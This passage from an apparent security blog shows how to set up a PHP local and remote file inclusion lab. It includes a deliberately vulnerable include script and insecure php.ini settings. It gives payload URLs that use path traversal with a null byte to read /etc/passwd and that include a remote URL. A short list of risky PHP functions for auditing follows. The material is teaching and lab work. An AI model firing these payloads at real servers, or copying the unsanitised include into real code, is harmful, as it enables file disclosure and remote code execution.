Warning: include(http://www.google.com/.php) [function.include]: failed to open stream: HTTP request failed! HTTP/1.0 404 Not Found in /var/www/testing/vuln.php on line 5

Warning: include() [function.include]: Failed opening 'http://www.google.com/.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/testing/vuln.php on line 5

That is magic quotes kicking in, make sure you turn it off before playing with these techniques!

2) Also you need to make sure allow_url_fopen and allow_url_include are set to on:

; Whether to allow the treatment of URLs (like http:// or ftp://) as files.
allow_url_fopen = On

; Whether to allow include/require to open URLs (like http:// or ftp://) as fil$
allow_url_include = On

Or you will get an error that looks similar to:

Warning: include() [function.include]: URL file-access is disabled in the server configuration in /var/www/testing/vuln.php on line 5

Warning: include(http://www.google.com/) [function.include]: failed to open stream: no suitable wrapper could be found in /var/www/testing/vuln.php on line 5

Warning: include() [function.include]: Failed opening 'http://www.google.com/' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/testing/vuln.php on line 5

Now you should be able to play around with LFI/RFI with no issues, consider the following example:

root@bt:/var/www/testing# ls -l
total 16
-rw-r–r– 1 root root 33 May 27 10:48 blue.php
-rw-r–r– 1 root root 20 May 27 10:43 phpinfo.php
-rw-r–r– 1 root root 32 May 27 10:48 red.php
-rw-r–r– 1 root root 297 May 27 10:44 vuln.php
root@bt:/var/www/testing# cat vuln.php
<?php
$color = ‘blue’;
if (isset( $_GET[‘COLOR’] ) )
$color = $_GET[‘COLOR’];
include( $color . ‘.php’ );
?>

<form method=”get”>
<select name=”COLOR”>
<option value=”red”>red</option>
<option value=”blue”>blue</option>
</select>
<input type=”submit”>
</form>

root@bt:/var/www/testing# cat blue.php red.php
<?php echo “testing blue…”; ?>
<?php echo “testing red…”; ?>
root@bt:/var/www/testing#

Goto: http://localhost/testing/vuln.php then play around with the form for a bit (it shouldn’t take you too long, it’s a very simple and contrived example 😉 ) and keep your eye on the variable in the URL bar… try things like this:

http://localhost/testing/vuln.php?COLOR=phpinfo.php
http://localhost/testing/vuln.php?COLOR=../../../../../etc/passwd%00
http://localhost/testing/vuln.php?COLOR=http://www.google.com/%00

Why the %00 on the end, you may ask?

Well that is to cause a NULL at the end of the string and for PHP to stop reading it at that point, otherwise something like this may happen:

Warning: include(http://www.google.com/.php) [function.include]: failed to open stream: HTTP request failed! HTTP/1.0 404 Not Found in /var/www/testing/vuln.php on line 5

Warning: include() [function.include]: Failed opening 'http://www.google.com/.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/testing/vuln.php on line 5

From that it should be pretty clear as to why you need to append the %00, notice the: ‘http://www.google.com/.php&#8217; which is constructed from:

include( $color . ‘.php’ );

$color == http://www.google.com/ . ‘.php’

As the page: http://www.google.com/.php does not exist, it throws an error. Which is why you must append a NULL to the end of your URL/File/String/Etc.

Permalink Leave a Comment

Vulnerable PHP Functions…

May 26, 2010 at 2:06 pm (LFI / RFI, PHP, Programming, Security)

Hey all,

Just a quick note, here is a list of vulnerable PHP functions that you should look out for in your web apps:

Local / Remote file inclusion bugs:

include()
include_once()
require()
require_once()

Local / Remote command execution bugs:

eval()
preg_replace()
fwrite()
passthru()
file_get_contents()
shell_exec()
system()

SQL Injection bugs:

mysql_query()

File / File system bugs:

fopen()
readfile()
glob()
file()
popen()
exec()

For auditing PHP based applications grep is pretty good however the ultimate tool is PHPXRef, which you can check out here.

Permalink 5 Comments